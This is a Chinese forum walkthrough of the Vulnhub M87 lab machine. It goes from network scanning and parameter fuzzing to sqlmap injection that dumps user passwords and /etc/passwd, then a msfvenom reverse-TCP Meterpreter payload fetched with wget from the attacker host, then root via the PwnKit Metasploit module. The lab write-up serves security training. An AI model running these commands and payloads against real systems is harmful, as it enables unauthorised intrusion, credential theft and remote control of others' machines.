Vulnhub之M87靶机详细测试过程(不同提权方法)

打印 上一主题 下一主题

主题 548|帖子 548|积分 1654

M87

识别目标主机IP地址
  1. ─(kali㉿kali)-[~/Desktop/Vulnhub/m87]
  2. └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
  3. Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                                                       
  4.                                                                                                                                                             
  5. 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                            
  6. _____________________________________________________________________________
  7.    IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  8. -----------------------------------------------------------------------------
  9. 192.168.56.1    0a:00:27:00:00:11      1      60  Unknown vendor                                                                                          
  10. 192.168.56.100  08:00:27:64:18:1b      1      60  PCS Systemtechnik GmbH                                                                                   
  11. 192.168.56.250  08:00:27:10:66:7a      1      60  PCS Systemtechnik GmbH         
复制代码
利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.250
NMAP扫描
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/m87]
  2. └─$ sudo nmap -sS -sV -sC -p- 192.168.56.250 -oN nmap_full_scan
  3. Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-09 22:07 EDT
  4. Nmap scan report for bogon (192.168.56.250)
  5. Host is up (0.00021s latency).
  6. Not shown: 65532 closed tcp ports (reset)
  7. PORT     STATE    SERVICE         VERSION
  8. 22/tcp   filtered ssh
  9. 80/tcp   open     http            Apache httpd 2.4.38 ((Debian))
  10. |_http-title: M87 Login Form
  11. |_http-server-header: Apache/2.4.38 (Debian)
  12. 9090/tcp open     ssl/zeus-admin?
  13. | fingerprint-strings:
  14. |   GetRequest, HTTPOptions:
  15. |     HTTP/1.1 400 Bad request
  16. |     Content-Type: text/html; charset=utf8
  17. |     Transfer-Encoding: chunked
  18. |     X-DNS-Prefetch-Control: off
  19. |     Referrer-Policy: no-referrer
  20. |     X-Content-Type-Options: nosniff
  21. |     Cross-Origin-Resource-Policy: same-origin
  22. |     <!DOCTYPE html>
  23. |     <html>
  24. |     <head>
  25. |     <title>
  26. |     request
  27. |     </title>
  28. |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  29. |     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  30. |     <style>
  31. |     body {
  32. |     margin: 0;
  33. |     font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
  34. |     font-size: 12px;
  35. |     line-height: 1.66666667;
  36. |     color: #333333;
  37. |     background-color: #f5f5f5;
  38. |     border: 0;
  39. |     vertical-align: middle;
  40. |     font-weight: 300;
  41. |_    margin: 0 0 10p
复制代码
NMAP扫描结果表明目标主机有3个开放端口:22(ssh)、80(http)、9090(ssl)
获得Shell

浏览器访问80端口,为用户登录界面,需要输入email和密码。
  1. ──(kali㉿kali)-[~/Desktop/Vulnhub/m87]
  2. └─$ nikto -h http://192.168.56.250
  3. - Nikto v2.1.6
  4. ---------------------------------------------------------------------------
  5. + Target IP:          192.168.56.250
  6. + Target Hostname:    192.168.56.250
  7. + Target Port:        80
  8. + Start Time:         2023-04-09 22:14:57 (GMT-4)
  9. ---------------------------------------------------------------------------
  10. + Server: Apache/2.4.38 (Debian)
  11. + The anti-clickjacking X-Frame-Options header is not present.
  12. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
  13. + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
  14. + No CGI Directories found (use '-C all' to force check all possible dirs)
  15. + Server may leak inodes via ETags, header found with file /, inode: 52a, size: 5b295a9e85480, mtime: gzip
  16. + Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
  17. + OSVDB-3092: /admin/: This might be interesting...
  18. + OSVDB-3093: /admin/index.php: This might be interesting... has been seen in web logs from an unknown scanner.
  19. + OSVDB-3233: /icons/README: Apache default file found.
  20. + 7915 requests: 0 error(s) and 8 item(s) reported on remote host
  21. + End Time:           2023-04-09 22:15:58 (GMT-4) (61 seconds)
  22. ---------------------------------------------------------------------------
  23. + 1 host(s) tested
  24.       *********************************************************************
  25.       Portions of the server's headers (Apache/2.4.38) are not in
  26.       the Nikto 2.1.6 database or are newer than the known string. Would you like
  27.       to submit this information (*no server specific data*) to CIRT.net
  28.       for a Nikto update (or you may email to sullo@cirt.net) (y/n)?
复制代码
nikto工具发现了/admin目录,访问该目录,为用户登录界面,
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/m87]
  2. └─$ gobuster dir -u http://192.168.56.250 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.js,.html,.sh,.txt
  3. ===============================================================
  4. Gobuster v3.5
  5. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  6. ===============================================================
  7. [+] Url:                     http://192.168.56.250
  8. [+] Method:                  GET
  9. [+] Threads:                 10
  10. [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  11. [+] Negative Status codes:   404
  12. [+] User Agent:              gobuster/3.5
  13. [+] Extensions:              php,js,html,sh,txt
  14. [+] Timeout:                 10s
  15. ===============================================================
  16. 2023/04/09 22:19:24 Starting gobuster in directory enumeration mode
  17. ===============================================================
  18. /.php                 (Status: 403) [Size: 279]
  19. /.html                (Status: 403) [Size: 279]
  20. /index.html           (Status: 200) [Size: 1322]
  21. /admin                (Status: 301) [Size: 316] [--> http://192.168.56.250/admin/]
  22. /assets               (Status: 301) [Size: 317] [--> http://192.168.56.250/assets/]
  23. /LICENSE              (Status: 200) [Size: 1073]
  24. /.php                 (Status: 403) [Size: 279]
  25. /.html                (Status: 403) [Size: 279]
  26. /server-status        (Status: 403) [Size: 279]
  27. Progress: 1321374 / 1323366 (99.85%)
  28. ===============================================================
  29. 2023/04/09 22:24:03 Finished
  30. ===============================================================
  31.                                                                     
复制代码
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/m87]
  2. └─$ nikto -h https://192.168.56.250:9090
  3. - Nikto v2.1.6
  4. ---------------------------------------------------------------------------
  5. + Target IP:          192.168.56.250
  6. + Target Hostname:    192.168.56.250
  7. + Target Port:        9090
  8. ---------------------------------------------------------------------------
  9. + SSL Info:        Subject:  /O=662b442c19a840e482f9f69cde8f316e/CN=M87
  10.                    Ciphers:  TLS_AES_256_GCM_SHA384
  11.                    Issuer:   /O=662b442c19a840e482f9f69cde8f316e/CN=M87
  12. + Start Time:         2023-04-09 22:20:30 (GMT-4)
  13. ---------------------------------------------------------------------------
  14. + Server: No banner retrieved
  15. + The anti-clickjacking X-Frame-Options header is not present.
  16. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
  17. + Uncommon header 'x-dns-prefetch-control' found, with contents: off
  18. + Uncommon header 'cross-origin-resource-policy' found, with contents: same-origin
  19. + The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
  20. + The site uses SSL and Expect-CT header is not present.
  21. + No CGI Directories found (use '-C all' to force check all possible dirs)
  22. + Hostname '192.168.56.250' does not match certificate's names: M87
  23. + Retrieved access-control-allow-origin header: https://192.168.56.250:9090
  24. + ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
  25. + Scan terminated:  18 error(s) and 8 item(s) reported on remote host
  26. + End Time:           2023-04-09 22:28:40 (GMT-4) (490 seconds)
  27. ---------------------------------------------------------------------------
  28. + 1 host(s) tested
复制代码
80端口发现了/admin目录,访问该目录,为用户登录界面,经过测试并没有发现有SQL注入漏洞。此时对/admin进一步扫描:
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/m87]
  2. └─$ dirb http://192.168.56.250     
  3. -----------------
  4. DIRB v2.22   
  5. By The Dark Raver
  6. -----------------
  7. START_TIME: Sun Apr  9 22:53:30 2023
  8. URL_BASE: http://192.168.56.250/
  9. WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
  10. -----------------
  11. GENERATED WORDS: 4612                                                         
  12. ---- Scanning URL: http://192.168.56.250/ ----
  13. ==> DIRECTORY: http://192.168.56.250/admin/                                                                                                                 
  14. ==> DIRECTORY: http://192.168.56.250/assets/                                                                                                               
  15. + http://192.168.56.250/index.html (CODE:200|SIZE:1322)                                                                                                     
  16. + http://192.168.56.250/LICENSE (CODE:200|SIZE:1073)                                                                                                        
  17. + http://192.168.56.250/server-status (CODE:403|SIZE:279)                                                                                                   
  18.                                                                                                                                                             
  19. ---- Entering directory: http://192.168.56.250/admin/ ----
  20. ==> DIRECTORY: http://192.168.56.250/admin/backup/                                                                                                         
  21. ==> DIRECTORY: http://192.168.56.250/admin/css/                                                                                                            
  22. ==> DIRECTORY: http://192.168.56.250/admin/images/                                                                                                         
  23. + http://192.168.56.250/admin/index.php (CODE:200|SIZE:4393)                                                                                                
  24. ==> DIRECTORY: http://192.168.56.250/admin/js/                                                                                                              
  25.                                                                                                                                                             
  26. ---- Entering directory: http://192.168.56.250/assets/ ----
  27. (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
  28.     (Use mode '-w' if you want to scan it anyway)
  29.                                                                                                                                                             
  30. ---- Entering directory: http://192.168.56.250/admin/backup/ ----
  31. + http://192.168.56.250/admin/backup/index.php (CODE:200|SIZE:4412)                                                                                         
  32.                                                                                                                                                             
  33. ---- Entering directory: http://192.168.56.250/admin/css/ ----
  34. (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
  35.     (Use mode '-w' if you want to scan it anyway)
  36.                                                                                                                                                             
  37. ---- Entering directory: http://192.168.56.250/admin/images/ ----
  38. (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
  39.     (Use mode '-w' if you want to scan it anyway)
  40.                                                                                                                                                             
  41. ---- Entering directory: http://192.168.56.250/admin/js/ ----
  42. (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
  43.     (Use mode '-w' if you want to scan it anyway)
  44.                                                                               
  45. -----------------
  46. END_TIME: Sun Apr  9 22:53:49 2023
  47. DOWNLOADED: 13836 - FOUND: 5
  48.                                                         
复制代码
在/admin目录下发现了/backup,该目录仍然是用户登录界面,并且尝试有无登录绕过,结果失败,对backup进行FUZZING
  1.                                                                                                                                                             
  2. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/m87]
  3. └─$ wfuzz -c -u http://192.168.56.250/admin/backup/?FUZZ=id -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 161
  4. /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
  5. ********************************************************
  6. * Wfuzz 3.1.0 - The Web Fuzzer                         *
  7. ********************************************************
  8. Target: http://192.168.56.250/admin/backup/?FUZZ=id
  9. Total requests: 220560
  10. =====================================================================
  11. ID           Response   Lines    Word       Chars       Payload                                                                                    
  12. =====================================================================
  13. 000000529:   200        87 L     162 W      4459 Ch     "id"                                                                                       
  14. 000000759:   200        3 L      2 W        19 Ch       "file"              
复制代码
发现了两个参数id和file,先看一下id
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/m87]
  2. └─$ curl http://192.168.56.250/admin/backup/?id=id
  3. <html>
  4. </html>
  5. jackceobradexpensesjuliamikeadrianjohnadminalex
复制代码
说明参数id存在。
经过测试file参数并不能有相应的返回。
经过简单测试id参数存在SQL注入漏洞
  1. ──(kali㉿kali)-[~/Desktop/Vulnhub/m87]
  2. └─$ sqlmap -u 'http://192.168.56.250/admin/backup/?id=1'   
  3. [23:00:42] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
  4. GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
  5. sqlmap identified the following injection point(s) with a total of 1185 HTTP(s) requests:
  6. ---
  7. Parameter: id (GET)
  8.     Type: error-based
  9.     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  10.     Payload: id=1 AND (SELECT 5676 FROM(SELECT COUNT(*),CONCAT(0x716a6b6a71,(SELECT (ELT(5676=5676,1))),0x7176787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
  11.     Type: time-based blind
  12.     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  13.     Payload: id=1 AND (SELECT 5427 FROM (SELECT(SLEEP(5)))XWSn)
  14.     Type: UNION query
  15.     Title: Generic UNION query (NULL) - 1 column
  16.     Payload: id=1 UNION ALL SELECT CONCAT(0x716a6b6a71,0x75784a6770575651456c4d7279414c434a497241437a534b486d475a456b62625974585579426b6f,0x7176787171)-- -
  17. ---
  18. [23:00:57] [INFO] the back-end DBMS is MySQL
  19. web server operating system: Linux Debian 10 (buster)
  20. web application technology: Apache 2.4.38
  21. back-end DBMS: MySQL >= 5.0 (MariaDB fork)
  22. [23:00:57] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.250'
  23. [23:00:57] [WARNING] your sqlmap version is outdated
  24. [*] ending @ 23:00:57 /2023-04-09/
  25.       
复制代码
  1. ─$ sqlmap -u 'http://192.168.56.250/admin/backup/?id=1' --dbs
  2. available databases [4]:
  3. [*] db
  4. [*] information_schema
  5. [*] mysql
  6. [*] performance_schema
复制代码
  1. $ sqlmap -u 'http://192.168.56.250/admin/backup/?id=1' -D db --tables
  2. Database: db
  3. [1 table]
  4. +-------+
  5. | users |
  6. +-------+
复制代码
  1. ─$ sqlmap -u 'http://192.168.56.250/admin/backup/?id=1' -D db -T users --columns
  2. Table: users
  3. [4 columns]
  4. +----------+-------------+
  5. | Column   | Type        |
  6. +----------+-------------+
  7. | email    | varchar(50) |
  8. | id       | int(11)     |
  9. | password | varchar(50) |
  10. | username | varchar(50) |
  11. +----------+-------------+
复制代码
  1. $ sqlmap -u 'http://192.168.56.250/admin/backup/?id=1' -D db -T users -C email,username,password --dump
  2. +--------------------+----------+-----------------+
  3. | email              | username | password        |
  4. +--------------------+----------+-----------------+
  5. | jack@localhost     | jack     | gae5g5a         |
  6. | ceo@localhost      | ceo      | 5t96y4i95y      |
  7. | brad@localhost     | brad     | gae5g5a         |
  8. | expenses@localhost | expenses | 5t96y4i95y      |
  9. | julia@localhost    | julia    | fw54vrfwe45     |
  10. | mike@localhost     | mike     | 4kworw4         |
  11. | adrian@localhost   | adrian   | fw54vrfwe45     |
  12. | john@localhost     | john     | 4kworw4         |
  13. | admin@localhost    | admin    | 15The4Dm1n4L1f3 |
  14. | alex@localhost     | alex     | dsfsrw4         |
  15. +--------------------+----------+-----------------+
复制代码
但是这些email, username, 以及password都无法登录80默认页面,admin页面,admin/backup页面。
尝试通过sqlmap得到shell失败
  1. ──(kali㉿kali)-[~/Desktop/Vulnhub/m87]
  2. └─$ sqlmap -u 'http://192.168.56.250/admin/backup/?id=1' --os-shell
复制代码
  1. ─(kali㉿kali)-[~/Desktop/Vulnhub/m87]
  2. └─$ sqlmap -u 'http://192.168.56.250/admin/backup/?id=1' --file-read /etc/passwd   
复制代码
  1.                                                                                                                                                             
  2. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/m87]
  3. └─$ cat /home/kali/.local/share/sqlmap/output/192.168.56.250/files/_etc_passwd
  4. root:x:0:0:root:/root:/bin/bash
  5. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  6. bin:x:2:2:bin:/bin:/usr/sbin/nologin
  7. sys:x:3:3:sys:/dev:/usr/sbin/nologin
  8. sync:x:4:65534:sync:/bin:/bin/sync
  9. games:x:5:60:games:/usr/games:/usr/sbin/nologin
  10. man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  11. lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  12. mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  13. news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  14. uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  15. proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  16. www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  17. backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  18. list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  19. irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  20. gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  21. nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  22. _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
  23. systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
  24. systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
  25. systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
  26. messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
  27. avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
  28. sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
  29. charlotte:x:1000:1000:charlotte,,,:/home/charlotte:/bin/bash
  30. systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
  31. mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
  32. dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
  33. Debian-exim:x:109:116::/var/spool/exim4:/usr/sbin/nologin
  34. cockpit-ws:x:110:117::/nonexisting:/usr/sbin/nologin
  35. cockpit-wsinstance:x:111:118::/nonexisting:/usr/sbin/nologin
复制代码
通过SQLMAP得到用户charlotte,尝试用该用户登录9090端口(遍历之前得到的密码)
经过尝试,密码为15The4Dm1n4L1f3
成功登陆9090管理后台,管理后台有terminal功能
  1. charlotte@M87:~$ ls -alh
  2. total 32K
  3. drwxr-xr-x 3 charlotte charlotte 4.0K Nov  6  2020 .
  4. drwxr-xr-x 3 root      root      4.0K Nov  6  2020 ..
  5. lrwxrwxrwx 1 root      root         9 Nov  6  2020 .bash_history -> /dev/null
  6. -rw-r--r-- 1 charlotte charlotte  220 Nov  6  2020 .bash_logout
  7. -rw-r--r-- 1 charlotte charlotte 3.5K Nov  6  2020 .bashrc
  8. drwx------ 3 charlotte charlotte 4.0K Apr  9 23:15 .gnupg
  9. -rw------- 1 charlotte charlotte   33 Nov  6  2020 local.txt
  10. -rw-r--r-- 1 charlotte charlotte  807 Nov  6  2020 .profile
  11. -rw------- 1 charlotte charlotte   49 Nov  6  2020 .Xauthority
  12. charlotte@M87:~$ cat local.txt
  13. 29247ebdec52ba0b9a6fd10d68f6b91f
复制代码
接下里先将shell升级到meterpreter
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/m87]
  2. └─$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.230 LPORT=5555 -f elf -o escalate.elf
复制代码
将escalate.elf上传到目标主机/tmp目录下
  1. charlotte@M87:/tmp$ wget http://192.168.56.230:8000/escalate.elf
  2. --2023-04-09 23:19:55--  http://192.168.56.230:8000/escalate.elf
  3. Connecting to 192.168.56.230:8000... connected.
  4. HTTP request sent, awaiting response... 200 OK
  5. Length: 207 [application/octet-stream]
  6. Saving to: ‘escalate.elf’
  7. escalate.elf                                  100%[=================================================================================================>]     207  --.-KB/s    in 0s      
  8. 2023-04-09 23:19:55 (42.5 MB/s) - ‘escalate.elf’ saved [207/207]
  9. charlotte@M87:/tmp$ chmod +x escalate.elf
复制代码
  1. msf6 > use exploit/multi/handler
  2. [*] Using configured payload generic/shell_reverse_tcp
  3. msf6 exploit(multi/handler) > set payload  linux/x86/meterpreter/reverse_tcp
  4. payload => linux/x86/meterpreter/reverse_tcp
  5. msf6 exploit(multi/handler) > show options
  6. Module options (exploit/multi/handler):
  7.    Name  Current Setting  Required  Description
  8.    ----  ---------------  --------  -----------
  9. Payload options (linux/x86/meterpreter/reverse_tcp):
  10.    Name   Current Setting  Required  Description
  11.    ----   ---------------  --------  -----------
  12.    LHOST                   yes       The listen address (an interface may be specified)
  13.    LPORT  4444             yes       The listen port
  14. Exploit target:
  15.    Id  Name
  16.    --  ----
  17.    0   Wildcard Target
  18. msf6 exploit(multi/handler) > set LHOST 192.168.56.230
  19. LHOST => 192.168.56.230
  20. msf6 exploit(multi/handler) > set LPORT  5555
  21. LPORT => 5555
  22. msf6 exploit(multi/handler) > run
  23. [*] Started reverse TCP handler on 192.168.56.230:5555
复制代码
在目标主机运行escalate.elf
  1. [*] Started reverse TCP handler on 192.168.56.230:5555
  2. [*] Sending stage (989032 bytes) to 192.168.56.250
  3. [*] Meterpreter session 1 opened (192.168.56.230:5555 -> 192.168.56.250:34932) at 2023-04-09 23:22:06 -0400
  4. meterpreter >
复制代码
得到了meterpreter会话
然后利用suggest模块定位可以提权的漏洞。
  1. msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
  2. msf6 post(multi/recon/local_exploit_suggester) > show options
  3. Module options (post/multi/recon/local_exploit_suggester):
  4.    Name             Current Setting  Required  Description
  5.    ----             ---------------  --------  -----------
  6.    SESSION                           yes       The session to run this module on
  7.    SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits
  8. msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
  9. SESSION => 1
  10. msf6 post(multi/recon/local_exploit_suggester) > run
  11. [*] 192.168.56.250 - Collecting local exploits for x86/linux...
  12. [*] 192.168.56.250 - 167 exploit checks are being tried...
  13. [+] 192.168.56.250 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
  14. [+] 192.168.56.250 - exploit/linux/local/network_manager_vpnc_username_priv_esc: The service is running, but could not be validated.
  15. [+] 192.168.56.250 - exploit/linux/local/pkexec: The service is running, but could not be validated.
  16. [+] 192.168.56.250 - exploit/linux/local/su_login: The target appears to be vulnerable.
  17. [*] Running check method for exploit 48 / 48
  18. [*] 192.168.56.250 - Valid modules for session 1:
  19. ============================
  20. #   Name                                                               Potentially Vulnerable?  Check Result
  21. -   ----                                                               -----------------------  ------------
  22. 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable.
  23. 2   exploit/linux/local/network_manager_vpnc_username_priv_esc         Yes                      The service is running, but could not be validated.
  24. 3   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated.
  25. 4   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.
复制代码
选择第1个漏洞进行本地提权
  1. msf6 post(multi/recon/local_exploit_suggester) > use  exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
  2. [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
  3. msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > show options
  4. Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):
  5.    Name          Current Setting  Required  Description
  6.    ----          ---------------  --------  -----------
  7.    PKEXEC_PATH                    no        The path to pkexec binary
  8.    SESSION                        yes       The session to run this module on
  9.    WRITABLE_DIR  /tmp             yes       A directory where we can write files
  10. Payload options (linux/x64/meterpreter/reverse_tcp):
  11.    Name   Current Setting  Required  Description
  12.    ----   ---------------  --------  -----------
  13.    LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
  14.    LPORT  4444             yes       The listen port
  15. Exploit target:
  16.    Id  Name
  17.    --  ----
  18.    0   x86_64
  19. msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST 192.168.56.230
  20. LHOST => 192.168.56.230
  21. msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 6666
  22. LPORT => 6666
  23. msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set SESSION 1
  24. SESSION => 1
  25. msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
  26. [*] Started reverse TCP handler on 192.168.56.230:6666
  27. [*] Running automatic check ("set AutoCheck false" to disable)
  28. [!] Verify cleanup of /tmp/.kngdnssvny
  29. [+] The target is vulnerable.
  30. [*] Writing '/tmp/.mefpssoat/avrwdjlbd/avrwdjlbd.so' (548 bytes) ...
  31. [!] Verify cleanup of /tmp/.mefpssoat
  32. [*] Sending stage (3020772 bytes) to 192.168.56.250
  33. [+] Deleted /tmp/.mefpssoat/avrwdjlbd/avrwdjlbd.so
  34. [+] Deleted /tmp/.mefpssoat/.qqfoljnxo
  35. [+] Deleted /tmp/.mefpssoat
  36. [*] Meterpreter session 2 opened (192.168.56.230:6666 -> 192.168.56.250:40732) at 2023-04-09 23:26:24 -0400
  37. id
  38. meterpreter >
  39. meterpreter > id
  40. [-] Unknown command: id
  41. meterpreter > shell
  42. Process 11811 created.
  43. Channel 1 created.
  44. id
  45. uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),1000(charlotte)
  46. cd /root
  47. ls -alh
  48. total 28K
  49. drwx------  4 root root 4.0K Nov  6  2020 .
  50. drwxr-xr-x 18 root root 4.0K Nov  6  2020 ..
  51. lrwxrwxrwx  1 root root    9 Nov  6  2020 .bash_history -> /dev/null
  52. -rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
  53. drwx------  3 root root 4.0K Nov  6  2020 .gnupg
  54. drwxr-xr-x  3 root root 4.0K Nov  6  2020 .local
  55. -rw-r--r--  1 root root  148 Aug 17  2015 .profile
  56. -rw-------  1 root root 1.2K Nov  6  2020 proof.txt
  57. cat proof.txt
  58. MMMMMMMM               MMMMMMMM     888888888     77777777777777777777
  59. M:::::::M             M:::::::M   88:::::::::88   7::::::::::::::::::7
  60. M::::::::M           M::::::::M 88:::::::::::::88 7::::::::::::::::::7
  61. M:::::::::M         M:::::::::M8::::::88888::::::8777777777777:::::::7
  62. M::::::::::M       M::::::::::M8:::::8     8:::::8           7::::::7
  63. M:::::::::::M     M:::::::::::M8:::::8     8:::::8          7::::::7
  64. M:::::::M::::M   M::::M:::::::M 8:::::88888:::::8          7::::::7
  65. M::::::M M::::M M::::M M::::::M  8:::::::::::::8          7::::::7
  66. M::::::M  M::::M::::M  M::::::M 8:::::88888:::::8        7::::::7
  67. M::::::M   M:::::::M   M::::::M8:::::8     8:::::8      7::::::7
  68. M::::::M    M:::::M    M::::::M8:::::8     8:::::8     7::::::7
  69. M::::::M     MMMMM     M::::::M8:::::8     8:::::8    7::::::7
  70. M::::::M               M::::::M8::::::88888::::::8   7::::::7
  71. M::::::M               M::::::M 88:::::::::::::88   7::::::7
  72. M::::::M               M::::::M   88:::::::::88    7::::::7
  73. MMMMMMMM               MMMMMMMM     888888888     77777777
  74. Congratulations!
  75. You've rooted m87!
  76. 21e5e63855f249bcd1b4b093af669b1e
  77. mindsflee
复制代码
至此成功得到了root shell和root flag
经验教训


  • 目录扫描不能只使用一种工具,否则会漏掉重要的二级目录
  • 本靶机的关键是识别出/admin/backup/目录后,需要FUZZ出参数?有点烧脑哈

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

泉缘泉

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表